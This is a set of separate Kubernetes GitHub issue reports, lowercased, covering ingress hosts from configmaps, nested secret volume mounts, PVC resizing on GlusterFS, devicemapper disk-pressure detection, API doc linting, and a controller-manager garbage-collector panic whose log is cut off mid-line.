is this a bug report or feature request?    choose one :\r feature request\r \r   nginx ingress controller version  :\r 0.9.0-beta.17\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.3\ , gitcommit:\ f0efb3cb883751c5ffdbe6d515f3cb4fbe7b7acd\ , gittreestate:\ clean\ , builddate:\ 2017-11-08t18:39:33z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.8-gke.0\ , gitcommit:\ a7061d4b09b53ab4099e3b5ca3e80fb172e1b018\ , gittreestate:\ clean\ , builddate:\ 2017-10-10t18:48:45z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r google container engine\r running  kube-lego  https://github.com/jetstack/kube-lego  for automatic certificate provisioning.\r \r   what you expected to happen  :\r i have qa/staging/production namespaces running exactly the same resources. i reuse the resource yaml files and adjust any environment specific configurations through secrets or configmaps which have the same name in all namespaces.\r \r i wanted to do the same thing with an ingress that has tls enabled. but it seems that i need to explicitly define the hosts in the resource definition.\r \r it would be great if one could obtain the host value from a configmap, same way you can do it for env vars in a container spec. something like this:\r \r    \r apiversion: extensions/v1beta1\r kind: ingress\r metadata:\r   name: web-ingress\r   annotations:\r     kubernetes.io/tls-acme: \ true\ \r     kubernetes.io/ingress.class: \ nginx\ \r spec:\r   tls:\r   - hosts:\r       valuefrom:\r         configmapkeyref:\r           name: web-hosts\r           key: host\r     secretname: web-tls\r   rules:\r   - host:\r       valuefrom:\r         configmapkeyref:\r           name: web-hosts\r           key: host\r     http:\r       paths:\r       - backend:\r           servicename: web\r           serviceport: 80\r    \r \r i originally posted this in kubernetes/ingress-nginx 1773

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r data volumes backed by the api such as secret, configmap, downwardapi and projected volumes, appear to do strange things when nested. since each mounted volume is intended to correspond 1:1 with the api object data. any change to the data causes the kubelet to load a new version of the data and to replace all of the old volume data with the newly-loaded data.\r \r 1. when the kubelet asks docker to mount the nested volume into the base volume, docker creates a mount point in the base directory upon which it can mount the nested volume.\r \r 2. the kubelet views the existence of the mount point directory in the base directory as a change that puts the volume out of sync with the data.\r \r 3. the kublet attempts to remove the old versions of the secrets and re-symlink the data.\r  a. on an old-enough kernel  e.g. 3.10.0-514.21.1.el7.x86_64 , the remove attempt fails because the directory is an in-use mount point and gives an error of \ device or resource busy\ .\r  b. on a newer kernel  e.g. 3.10.0-693.5.2.el7.x86_64 , the remove succeeds despite the directory being an active mount point and the nested mount is no longer visible from within the container, despite its being mounted.\r 4. on the old kernel, the kubelet continuously repeats step 3 because every re-sync iteration makes it think that it needs a refresh due to the constant presence of the mountpoint directory. additionally, every iteration leaves behind an old copy of the data since an error is encountered prior to its removal. for example, you might end up with 100 directories that look like  /secrets/..yyyy_mm_dd_hh_mm_ss.xxxxxxxxx  after a few hours. \r \r   what you expected to happen  :\r as long as the name of a nested volume doesn't interfere with the name of a data item from a parent volume, i would expect the nested volume to work.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create a  yaml  file with 2 secrets and a pod that makes volumes for the 2 secrets, with one of them mounted within the other:\r    \r apiversion: v1\r kind: list\r items:\r - apiversion: v1\r   kind: secret\r   data:\r     secret: bxkgc2vjcmv0cg==\r   metadata:\r     name: secrets\r   type: opaque\r - apiversion: v1\r   kind: secret\r   data:\r     secret: c2vjcmv0cg==\r   metadata:\r     name: moresecrets\r   type: opaque\r - apiversion: v1\r   kind: pod\r   metadata:\r     name: busybox-pod\r   spec:\r     containers:\r     - image: gcr.io/google_containers/busybox:latest\r       name: busybox\r       command:  \ /bin/sh\  \r       args:  \ -c\ , \ while sleep 3600; do true; done\  \r       volumemounts:\r       - mountpath: /secrets\r         name: secrets\r       - mountpath: /secrets/more\r         name: moresecrets\r     restartpolicy: onfailure\r     volumes:\r     - name: secrets\r       secret:\r         secretname: secrets\r     - name: moresecrets\r       secret:\r         secretname: moresecrets\r    \r \r 2. create the 2 secrets and the pod. assuming you named the above file  pod.yaml :\r    \r kubectl create -f pod.yaml\r     \r \r 3.  verify that the bug is happening. wait a few minutes to make sure that a sync cycle has happened, then look at the containers /secrets directory:\r \r    \r kubectl exec -ti busybox-pod -- sh -c 'find /secrets; echo -n secret:; cat /secrets/more/secret'\r    \r if you have a new kernel,  /secrets/more/secret  won't exist. if you have an old kernel, it will exist but you should see several timestamp directories in  /secrets   one for each sync iteration  that aren't being cleaned up.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-alpha.1.90+157fb7b66cff84\ , gitcommit:\ 157fb7b66cff84e77f02110718509facd13681c5\ , gittreestate:\ clean\ , builddate:\ 2017-12-19t20:57:27z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-alpha.1.90+157fb7b66cff84\ , gitcommit:\ 157fb7b66cff84e77f02110718509facd13681c5\ , gittreestate:\ clean\ , builddate:\ 2017-12-19t20:57:27z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r

 \r   what happened  :\r hello.\r so i have kubernetes v1.9.2 installed via kubeadm with glusterfs as persistent storage.\r i can do create and delete pvc, and everything seems to work fine.\r i've read that you can resize pvc but adding some properties to kube-apiserver. so i've edited and redeployed with feature-gates and the admission controller.\r then i create a storage class with the property allowvolumeexpansion: true, and a pvc associated to that sc.\r when i edit the pvc, i can edit, it says edited, but nothing happens.\r i've checked kubernetes master logs, heketi logs, and no logs and no errors.\r \r   what you expected to happen  :\r \r it fires a resize event and the pvc is resized.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r kubernetes 1.9.2 baremetal with glusterfs as persistent storage.\r \r   anything else we need to know?  :\r i've been talking with @humblec and we've checked all the installation is fine, no error or misconfiguration.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.9.2\r \r - cloud provider or hardware configuration:\r \r bare-metal centos. installed with kubeadm.\r \r - os  e.g. from /etc/os-release :\r \r - kernel\r linux 3.10.0-693.11.6.el7.x86_64  1 smp thu jan 4 01:06:37 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   >  \r \r   what happened  :\r \r kubelet is monitoring nodefs and imagefs, but looks like it's not aware of device mapper pool. \r as a result, there are two problems:\r   1. when device mapper actually starts running out of space ~90% kubelet is not aware of it so no diskpressure is reported and container will start dying.\r   2.  unexpected evictions and garbage collections.\r       for example,  k8s was deleting images because /var/lib/docker/tmp was filling up when we did a docker load with a large sized image.tgz file.\r   what you expected to happen  :\r     kubenete should remove docker images when device mapper  docker image cache  usage is high. \r     kubenete should not remove docker images when /var/lib/docker/tmp was high.\r \r   how to reproduce it  as minimally and precisely as possible   :\r     \r   1.  kubenete settings are below:\r       \ imageminimumgcage\ : \ 2m0s\ ,\r        \ imagegchighthresholdpercent\ : 85,\r         \ imagegclowthresholdpercent\ : 80,\r   2. dockerd is brought up using below command:\r      /run/torcx/bin/dockerd --host=fd:// --containerd=/var/run/docker/libcontainerd/docker-containerd.sock --selinux-enabled=true --storage-driver=devicemapper --storage-opt=dm.basesize=10g --storage-opt=dm.thinpooldev=/dev/mapper/docker-thinpool --storage-opt=dm.use_deferred_removal=true --storage-opt=dm.use_deferred_deletion=true --exec-opt native.cgroupdriver=cgroupfs --selinux-enabled=false --iptables=false\r \r      \r   3.   docker info command output:\r containers: 67\r  running: 54\r  paused: 0\r  stopped: 13\r images: 40\r server version: 1.12.6\r storage driver: devicemapper\r  pool name: docker-thinpool\r  pool blocksize: 524.3 kb\r  base device size: 10.74 gb\r  backing filesystem: xfs\r  data file:\r  metadata file:\r  data space used: 17.98 gb\r  data space total: 20.4 gb\r  data space available: 2.416 gb\r  metadata space used: 5.304 mb\r  metadata space total: 213.9 mb\r  metadata space available: 208.6 mb\r  thin pool minimum free space: 2.039 gb\r  udev sync supported: true\r  deferred removal enabled: true\r  deferred deletion enabled: true\r  deferred deleted device count: 0\r  library version: 1.02.119  2016-03-04 \r logging driver: json-file\r cgroup driver: cgroupfs\r plugins:\r  volume: local pxd\r  network: host bridge null overlay\r swarm: inactive\r runtimes: runc\r default runtime: runc\r security options: seccomp\r kernel version: 4.13.9-coreos\r operating system: container linux by coreos 1520.8.0  ladybug \r ostype: linux\r architecture: x86_64\r cpus: 8\r total memory: 15.67 gib\r name: cs1-1-1\r id: tcy7:jseh:tryc:7dwa:p4p5:7hnc:2ryz:7iyl:hmlh:hvi7:tuhv:6gu7\r docker root dir: /var/lib/docker\r debug mode  client : false\r debug mode  server : false\r \r \r 4. thinpool partition is created as below.\r  format_sdd  {\r  \r   create_vg docker /dev/sdd\r   /usr/sbin/lvcreate --wipesignatures y -n thinpool docker -l 95%vg\r   /usr/sbin/lvcreate --wipesignatures y -n thinpoolmeta docker -l 1%vg\r   /usr/sbin/lvconvert -y --zero n -c 512k --thinpool docker/thinpool --poolmetadata docker/thinpoolmeta\r   /usr/sbin/lvchange --metadataprofile docker-thinpool docker/thinpool\r   /usr/bin/rm -rf /var/lib/docker/ \r \r }\r \r   anything else we need to know?  :\r cadvisor api endpoint http:// ip :4194/containers/  does not seem to monitor docker cache device mapper :\r        at a container level, he docker thinpool reported zero total:\r        filesystem\r       fs  1: docker-thinpool\r       0.00 bytes / 0.00 bytes  nan% \r       at root level:\r  \tfilesystem \r \tfs  1: /dev/mapper/docker-254:13-8409184-48e9c822b18044d5f7ea8cba57fb070c972d73440caf25e1408bb0d7bf0d5b81\r \t1.66 gb / 10.72 gb  15% \r \tfs  2: tmpfs\r \t0.00 bytes / 8.40 gb  0% \r \tfs  3: /dev/sda9\r \t186.18 mb / 7.92 gb  2% \r \tfs  4: /dev/mapper/vg_data-lv_docker\r \t310.46 mb / 8.58 gb  3% \r \tfs  5: shm\r \t0.00 bytes / 8.42 gb  0% \r \tfs  6: /dev/mapper/vg_data-lv_log\r \t104.96 mb / 3.92 gb  2% \r \tfs  7: /dev/mapper/vg_data-lv_var\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r  $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.5\ , gitcommit:\ cce11c6a185279d037023e02ac5249e14daa22bf\ , gittreestate:\ clean\ , builddate:\ 2017-12-07t16:16:03z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.5-rancher1\ , gitcommit:\ 6cb179822b9f77893eac5612c91a0ed7c0941b45\ , gittreestate:\ clean\ , builddate:\ 2017-12-11t17:40:37z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r   vmware esxi virtual machine on prem.\r \r - os  e.g. from /etc/os-release :\r $ cat /etc/os-release\r name=\ container linux by coreos\ \r id=coreos\r version=1520.8.0\r version_id=1520.8.0\r build_id=2017-10-26-0342\r pretty_name=\ container linux by coreos 1520.8.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r \r - kernel  e.g.  uname -a  :\r  $ uname -a\r linux cs1-1-1 4.13.9-coreos  1 smp thu oct 26 03:21:00 utc 2017 x86_64 intel r  xeon r  cpu e5-2670 0 @ 2.60ghz genuineintel gnu/linux\r - install tools:\r rancher/rke\r - others:\r

the api conventions require that godoc on external api fields should use the  camelcase  form of the field when referring to it.  we should automate the checking.\r \r also consider automating the checking of json field name -> canonical form of the external name  i.e. field  pathprefix  should always be  pathprefix  .  i don't think we have any case where  camelcase goname  != jsonfieldname , but we might need an exclusion\r \r @kubernetes/sig-api-machinery-bugs

 \r   what happened  :\r \r kube-controller-manager has started crashing due to a panic due to garbage collection code.\r \r   what you expected to happen  :\r \r kube-controller-manager should not panic\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r tbc - i'm not sure what has caused this state yet\r \r   anything else we need to know?  :\r \r log messages from kube-controller-manager:\r \r    \r 2017-09-20 16:48:48.040595 i | proto: duplicate proto type registered: google.protobuf.any\r 2017-09-20 16:48:48.042075 i | proto: duplicate proto type registered: google.protobuf.duration\r 2017-09-20 16:48:48.042469 i | proto: duplicate proto type registered: google.protobuf.timestamp\r i0920 16:48:48.216529       1 controllermanager.go:107  version: v1.7.2+coreos.0\r i0920 16:48:48.218775       1 leaderelection.go:179  attempting to acquire leader lease...\r i0920 16:48:48.239680       1 leaderelection.go:189  successfully acquired lease kube-system/kube-controller-manager\r i0920 16:48:48.241256       1 event.go:218  event v1.objectreference{kind:\ endpoints\ , namespace:\ kube-system\ , name:\ kube-controller-manager\ , uid:\ bf15ea5f-73f7-11e7-9001-fe3b1ff65647\ , apiversion:\ v1\ , resourceversion:\ 7206916\ , fieldpath:\ \ } : type: 'normal' reason: 'leaderelection' node1.marley.xyz became leader\r i0920 16:48:48.290978       1 plugins.go:106  external cloud provider specified\r i0920 16:48:48.296924       1 controllermanager.go:429  starting \ deployment\ \r i0920 16:48:48.304181       1 controller_utils.go:994  waiting for caches to sync for tokens controller\r i0920 16:48:48.314990       1 controllermanager.go:439  started \ deployment\ \r i0920 16:48:48.315244       1 controllermanager.go:429  starting \ replicaset\ \r i0920 16:48:48.315077       1 deployment_controller.go:152  starting deployment controller\r i0920 16:48:48.316009       1 controller_utils.go:994  waiting for caches to sync for deployment controller\r i0920 16:48:48.322062       1 controllermanager.go:439  started \ replicaset\ \r i0920 16:48:48.322104       1 controllermanager.go:429  starting \ horizontalpodautoscaling\ \r i0920 16:48:48.322525       1 replica_set.go:156  starting replica set controller\r i0920 16:48:48.322664       1 controller_utils.go:994  waiting for caches to sync for replica set controller\r i0920 16:48:48.325979       1 controllermanager.go:439  started \ horizontalpodautoscaling\ \r i0920 16:48:48.326016       1 controllermanager.go:429  starting \ csrapproving\ \r i0920 16:48:48.327282       1 horizontal.go:145  starting hpa controller\r i0920 16:48:48.327407       1 controller_utils.go:994  waiting for caches to sync for hpa controller\r i0920 16:48:48.329104       1 controllermanager.go:439  started \ csrapproving\ \r i0920 16:48:48.329200       1 controllermanager.go:429  starting \ ttl\ \r i0920 16:48:48.329449       1 certificate_controller.go:110  starting certificate controller\r i0920 16:48:48.330481       1 controller_utils.go:994  waiting for caches to sync for certificate controller\r i0920 16:48:48.345619       1 controllermanager.go:439  started \ ttl\ \r i0920 16:48:48.345673       1 controllermanager.go:429  starting \ replicationcontroller\ \r i0920 16:48:48.347096       1 ttlcontroller.go:117  starting ttl controller\r i0920 16:48:48.347260       1 controller_utils.go:994  waiting for caches to sync for ttl controller\r i0920 16:48:48.348066       1 controllermanager.go:439  started \ replicationcontroller\ \r i0920 16:48:48.348101       1 controllermanager.go:429  starting \ daemonset\ \r i0920 16:48:48.348184       1 replication_controller.go:151  starting rc controller\r i0920 16:48:48.352333       1 controller_utils.go:994  waiting for caches to sync for rc controller\r i0920 16:48:48.350494       1 controllermanager.go:439  started \ daemonset\ \r i0920 16:48:48.352428       1 controllermanager.go:429  starting \ service\ \r i0920 16:48:48.350508       1 daemoncontroller.go:221  starting daemon sets controller\r i0920 16:48:48.352627       1 controller_utils.go:994  waiting for caches to sync for daemon sets controller\r e0920 16:48:48.354074       1 core.go:66  failed to start service controller: warning: no cloud provider provided, services of type loadbalancer will fail.\r w0920 16:48:48.354106       1 controllermanager.go:436  skipping \ service\ \r i0920 16:48:48.354117       1 controllermanager.go:429  starting \ persistentvolume-binder\ \r i0920 16:48:48.356353       1 plugins.go:370  loaded volume plugin \ kubernetes.io/host-path\ \r i0920 16:48:48.356389       1 plugins.go:370  loaded volume plugin \ kubernetes.io/nfs\ \r i0920 16:48:48.356406       1 plugins.go:370  loaded volume plugin \ kubernetes.io/glusterfs\ \r i0920 16:48:48.356428       1 plugins.go:370  loaded volume plugin \ kubernetes.io/rbd\ \r i0920 16:48:48.356448       1 plugins.go:370  loaded volume plugin \ kubernetes.io/quobyte\ \r i0920 16:48:48.356470       1 plugins.go:370  loaded volume plugin \ kubernetes.io/azure-file\ \r i0920 16:48:48.356497       1 plugins.go:370  loaded volume plugin \ kubernetes.io/flocker\ \r i0920 16:48:48.356518       1 plugins.go:370  loaded volume plugin \ kubernetes.io/portworx-volume\ \r i0920 16:48:48.356609       1 plugins.go:370  loaded volume plugin \ kubernetes.io/scaleio\ \r i0920 16:48:48.356632       1 plugins.go:370  loaded volume plugin \ kubernetes.io/local-volume\ \r i0920 16:48:48.356654       1 plugins.go:370  loaded volume plugin \ kubernetes.io/storageos\ \r i0920 16:48:48.356721       1 controllermanager.go:439  started \ persistentvolume-binder\ \r i0920 16:48:48.356738       1 controllermanager.go:429  starting \ attachdetach\ \r i0920 16:48:48.356851       1 pv_controller_base.go:271  starting persistent volume controller\r i0920 16:48:48.356963       1 controller_utils.go:994  waiting for caches to sync for persistent volume controller\r i0920 16:48:48.357662       1 plugins.go:370  loaded volume plugin \ kubernetes.io/aws-ebs\ \r i0920 16:48:48.357689       1 plugins.go:370  loaded volume plugin \ kubernetes.io/gce-pd\ \r i0920 16:48:48.357713       1 plugins.go:370  loaded volume plugin \ kubernetes.io/cinder\ \r i0920 16:48:48.357733       1 plugins.go:370  loaded volume plugin \ kubernetes.io/portworx-volume\ \r i0920 16:48:48.357758       1 plugins.go:370  loaded volume plugin \ kubernetes.io/vsphere-volume\ \r i0920 16:48:48.357786       1 plugins.go:370  loaded volume plugin \ kubernetes.io/azure-disk\ \r i0920 16:48:48.357809       1 plugins.go:370  loaded volume plugin \ kubernetes.io/photon-pd\ \r i0920 16:48:48.357825       1 plugins.go:370  loaded volume plugin \ kubernetes.io/scaleio\ \r i0920 16:48:48.357842       1 plugins.go:370  loaded volume plugin \ kubernetes.io/storageos\ \r i0920 16:48:48.358076       1 controllermanager.go:439  started \ attachdetach\ \r i0920 16:48:48.358089       1 controllermanager.go:429  starting \ garbagecollector\ \r i0920 16:48:48.358322       1 attach_detach_controller.go:242  starting attach detach controller\r i0920 16:48:48.358349       1 controller_utils.go:994  waiting for caches to sync for attach detach controller\r e0920 16:48:48.388064       1 graph_builder.go:204  no matches for {monitoring.coreos.com v1alpha1 servicemonitors}. if {monitoring.coreos.com v1alpha1 servicemonitors} is a non-core resource  e.g. thirdparty resource, custom resource from aggregated apiserver , please note that the garbage collector doesn't support non-core resources yet. once they are supported, object with ownerreferences referring non-existing non-core objects will be deleted by the garbage collector.\r e0920 16:48:48.388132       1 graph_builder.go:204  no matches for {rook.io v1alpha1 clusters}. if {rook.io v1alpha1 clusters} is a non-core resource  e.g. thirdparty resource, custom resource from aggregated apiserver , please note that the garbage collector doesn't support non-core resources yet. once they are supported, object with ownerreferences referring non-existing non-core objects will be deleted by the garbage collector.\r e0920 16:48:48.390357       1 graph_builder.go:204  no matches for {example.controller.code-generator.k8s.io v1alpha1 foos}. if {example.controller.code-generator.k8s.io v1alpha1 foos} is a non-core resource  e.g. thirdparty resource, custom resource from aggregated apiserver , please note that the garbage collector doesn't support non-core resources yet. once they are supported, object with ownerreferences referring non-existing non-core objects will be deleted by the garbage collector.\r e0920 16:48:48.391634       1 graph_builder.go:204  no matches for {certmanager.k8s.io v1alpha1 certificates}. if {certmanager.k8s.io v1alpha1 certificates} is a non-core resource  e.g. thirdparty resource, custom resource from aggregated apiserver , please note that the garbage collector doesn't support non-core resources yet. once they are supported, object with ownerreferences referring non-existing non-core objects will be deleted by the garbage collector.\r e0920 16:48:48.392292       1 graph_builder.go:204  no matches for {monitoring.coreos.com v1alpha1 alertmanagers}. if {monitoring.coreos.com v1alpha1 alertmanagers} is a non-core resource  e.g. thirdparty resource, custom resource from aggregated apiserver , please note that the garbage collector doesn't support non-core resources yet. once they are supported, object with ownerreferences referring non-existing non-core objects will be deleted by the garbage collector.\r e0920 16:48:48.393254       1 graph_builder.go:204  no matches for {rook.io v1alpha1 pools}. if {rook.io v1alpha1 pools} is a non-core resource  e.g. thirdparty resource, custom resource from aggregated apiserver , please note that the garbage collector doesn't support non-core resources yet. once they are supported, object with ownerreferences referring non-existing non-core objects will be deleted by the garbage collector.\r e0920 16:48:48.396471       1 graph_builder.go:204  no matches for {monitoring.coreos.com v1alpha1 prometheuses}. if {monitoring.coreos.com v1alpha1 prometheuses} is a non-core resource  e.g. thirdparty resource, custom resource from aggregated apiserver , please note that the garbage collector doesn't support non-core resources yet. once they are supported, object with ownerreferences referring non-existing non-core objects will be deleted by the garbage collector.\r e0920 16:48:48.397037       1 graph_builder.go:204  no matches for {certmanager.k8s.io v1alpha1 issuers}. if {certmanager.k8s.io v1alpha1 issuers} is a non-core resource  e.g. thirdparty resource, custom resource from aggregated apiserver , please note that the garbage collector doesn't support non-core resources yet. once they are supported, object with ownerreferences referring non-existing non-core objects will be deleted by the garbage collector.\r i0920 16:48:48.397825       1 controllermanager.go:439  started \ garbagecollector\ \r i0920 16:48:48.397870       1 controllermanager.go:429  starting \ resourcequota\ \r i0920 16:48:48.397990       1 garbagecollector.go:123  starting garbage collector controller\r i0920 16:48:48.398102       1 controller_utils.go:994  waiting for caches to sync for garbage collector controller\r i0920 16:48:48.399014       1 controllermanager.go:439  started \ resourcequota\ \r i0920 16:48:48.399035       1 controllermanager.go:429  starting \ namespace\ \r i0920 16:48:48.399412       1 resource_quota_controller.go:241  starting resource quota controller\r i0920 16:48:48.399444       1 controller_utils.go:994  waiting for caches to sync for resource quota controller\r i0920 16:48:48.404795       1 controller_utils.go:1001  caches are synced for tokens controller\r i0920 16:48:48.441084       1 controllermanager.go:439  started \ namespace\ \r i0920 16:48:48.441135       1 controllermanager.go:429  starting \ serviceaccount\ \r e0920 16:48:48.443144       1 util.go:45  metric for serviceaccount_controller already registered\r i0920 16:48:48.443204       1 controllermanager.go:439  started \ serviceaccount\ \r i0920 16:48:48.443228       1 controllermanager.go:429  starting \ disruption\ \r i0920 16:48:48.445173       1 controllermanager.go:439  started \ disruption\ \r i0920 16:48:48.445204       1 controllermanager.go:429  starting \ cronjob\ \r i0920 16:48:48.446044       1 controllermanager.go:439  started \ cronjob\ \r i0920 16:48:48.446077       1 controllermanager.go:429  starting \ node\ \r w0920 16:48:48.446088       1 core.go:76  unsuccessful parsing of cluster cidr : invalid cidr address:\r w0920 16:48:48.446101       1 core.go:80  unsuccessful parsing of service cidr : invalid cidr address:\r i0920 16:48:48.446771       1 serviceaccounts_controller.go:113  starting service account controller\r i0920 16:48:48.446942       1 controller_utils.go:994  waiting for caches to sync for namespace controller\r i0920 16:48:48.447058       1 nodecontroller.go:224  sending events to api server.\r i0920 16:48:48.447076       1 cronjob_controller.go:99  starting cronjob manager\r i0920 16:48:48.447377       1 taint_controller.go:159  sending events to api server.\r i0920 16:48:48.447692       1 controllermanager.go:439  started \ node\ \r i0920 16:48:48.447724       1 controllermanager.go:429  starting \ endpoint\ \r i0920 16:48:48.448610       1 controllermanager.go:439  started \ endpoint\ \r i0920 16:48:48.448671       1 controllermanager.go:429  starting \ job\ \r i0920 16:48:48.448939       1 nodecontroller.go:481  starting node controller\r i0920 16:48:48.449136       1 controller_utils.go:994  waiting for caches to sync for node controller\r i0920 16:48:48.449879       1 endpoints_controller.go:136  starting endpoint controller\r i0920 16:48:48.449920       1 controller_utils.go:994  waiting for caches to sync for endpoint controller\r i0920 16:48:48.450057       1 controller_utils.go:994  waiting for caches to sync for service account controller\r i0920 16:48:48.450069       1 disruption.go:297  starting disruption controller\r i0920 16:48:48.451025       1 controller_utils.go:994  waiting for caches to sync for disruption controller\r i0920 16:48:48.451450       1 controllermanager.go:439  started \ job\ \r i0920 16:48:48.451483       1 controllermanager.go:429  starting \ statefulset\ \r i0920 16:48:48.452319       1 controllermanager.go:439  started \ statefulset\ \r i0920 16:48:48.452377       1 controllermanager.go:429  starting \ csrsigning\ \r i0920 16:48:48.453097       1 jobcontroller.go:133  starting job controller\r i0920 16:48:48.453133       1 controller_utils.go:994  waiting for caches to sync for job controller\r i0920 16:48:48.453536       1 stateful_set.go:147  starting stateful set controller\r i0920 16:48:48.453904       1 controller_utils.go:994  waiting for caches to sync for stateful set controller\r i0920 16:48:48.455909       1 controllermanager.go:439  started \ csrsigning\ \r w0920 16:48:48.455951       1 controllermanager.go:423  \ bootstrapsigner\  is disabled\r w0920 16:48:48.455963       1 controllermanager.go:423  \ tokencleaner\  is disabled\r i0920 16:48:48.455973       1 controllermanager.go:429  starting \ route\ \r w0920 16:48:48.455983       1 core.go:114  unsuccessful parsing of cluster cidr : invalid cidr address:\r i0920 16:48:48.455992       1 core.go:130  will not configure cloud provider routes for allocate-node-cidrs: false, configure-cloud-routes: true.\r w0920 16:48:48.456017       1 controllermanager.go:436  skipping \ route\ \r i0920 16:48:48.456027       1 controllermanager.go:429  starting \ podgc\ \r i0920 16:48:48.456403       1 certificate_controller.go:110  starting certificate controller\r i0920 16:48:48.456585       1 controller_utils.go:994  waiting for caches to sync for certificate controller\r i0920 16:48:48.457042       1 controllermanager.go:439  started \ podgc\ \r i0920 16:48:48.457209       1 gc_controller.go:76  starting gc controller\r i0920 16:48:48.457245       1 controller_utils.go:994  waiting for caches to sync for gc controller\r e0920 16:48:48.514539       1 actual_state_of_world.go:500  failed to set statusupdateneeded to needed true because nodename=\ node1.marley.xyz\   does not exist\r e0920 16:48:48.514638       1 actual_state_of_world.go:514  failed to update statusupdateneeded field in actual state of world: failed to set statusupdateneeded to needed true because nodename=\ node1.marley.xyz\   does not exist\r i0920 16:48:48.566143       1 controller_utils.go:1001  caches are synced for hpa controller\r i0920 16:48:48.566259       1 controller_utils.go:1001  caches are synced for certificate controller\r i0920 16:48:48.568839       1 controller_utils.go:1001  caches are synced for namespace controller\r i0920 16:48:48.577794       1 controller_utils.go:1001  caches are synced for ttl controller\r i0920 16:48:48.578540       1 controller_utils.go:1001  caches are synced for service account controller\r i0920 16:48:48.580513       1 controller_utils.go:1001  caches are synced for certificate controller\r i0920 16:48:48.604307       1 controller_utils.go:1001  caches are synced for resource quota controller\r i0920 16:48:48.616295       1 controller_utils.go:1001  caches are synced for deployment controller\r i0920 16:48:48.627056       1 controller_utils.go:1001  caches are synced for replica set controller\r i0920 16:48:48.652007       1 event.go:218  event v1.objectreference{kind:\ deployment\ , namespace:\ default\ , name:\ example-foo\ , uid:\ 490c725e-9e23-11e7-8313-fe3b1ff65647\ , apiversion:\ extensions\ , resourceversion:\ 7206775\ , fieldpath:\ \ } : type: 'normal' reason: 'scalingreplicaset' scaled up replica set example-foo-3626207525 to 1\r i0920 16:48:48.660616       1 controller_utils.go:1001  caches are synced for attach detach controller\r i0920 16:48:48.665948       1 controller_utils.go:1001  caches are synced for node controller\r i0920 16:48:48.666030       1 controller_utils.go:1001  caches are synced for endpoint controller\r i0920 16:48:48.666431       1 controller_utils.go:1001  caches are synced for disruption controller\r i0920 16:48:48.666451       1 disruption.go:305  sending events to api server.\r i0920 16:48:48.666533       1 controller_utils.go:1001  caches are synced for rc controller\r i0920 16:48:48.666775       1 controller_utils.go:1001  caches are synced for daemon sets controller\r i0920 16:48:48.681173       1 controller_utils.go:1001  caches are synced for job controller\r i0920 16:48:48.681326       1 controller_utils.go:1001  caches are synced for stateful set controller\r i0920 16:48:48.687872       1 controller_utils.go:1001  caches are synced for persistent volume controller\r i0920 16:48:48.698464       1 event.go:218  event v1.objectreference{kind:\ deployment\ , namespace:\ default\ , name:\ example-nginx\ , uid:\ 2e09ca2e-9d8f-11e7-8313-fe3b1ff65647\ , apiversion:\ extensions\ , resourceversion:\ 7206848\ , fieldpath:\ \ } : type: 'normal' reason: 'scalingreplicaset' scaled down replica set example-nginx-1402660473 to 0\r i0920 16:48:48.707192       1 event.go:218  event v1.objectreference{kind:\ replicaset\ , namespace:\ default\ , name:\ example-foo-3626207525\ , uid:\ 930fb38f-9e23-11e7-8313-fe3b1ff65647\ , apiversion:\ extensions\ , resourceversion:\ 7206921\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' created pod: example-foo-3626207525-4c6j6\r i0920 16:48:48.708148       1 controller_utils.go:1001  caches are synced for garbage collector controller\r i0920 16:48:48.708200       1 garbagecollector.go:132  garbage collector: all resource monitors have synced. proceeding to collect garbage\r i0920 16:48:48.732586       1 nodecontroller.go:525  nodecontroller observed a new node: \ node1.marley.xyz\ \r i0920 16:48:48.732975       1 nodecontroller.go:542  initializing eviction metric for zone:\r w0920 16:48:48.733739       1 nodecontroller.go:877  missing timestamp for node node1.marley.xyz. assuming now as a timestamp.\r i0920 16:48:48.733818       1 nodecontroller.go:793  nodecontroller detected that zone  is now in state normal.\r i0920 16:48:48.751005       1 controller_utils.go:1001  caches are synced for gc controller\r i0920 16:48:48.753478       1 taint_controller.go:182  starting noexecutetaintmanager\r e0920 16:48:48.768231       1 garbagecollector.go:169  ignore syncing item &garbagecollector.node{identity:garbagecollector.objectreference{ownerreference:v1.ownerreference{apiversion:\ extensions/v1beta1\ , kind:\ deployment\ , name:\ example-nginx\ , uid:\ 2e09ca2e-9d8f-11e7-8313-fe3b1ff65647\ , controller:  bool  0xc4216f5278 , blockownerdeletion:  bool  0xc4216f5279 }, namespace:\ default\ }, dependentslock:sync.rwmutex{w:sync.mutex{state:0, sema:0x0}, writersem:0x0, 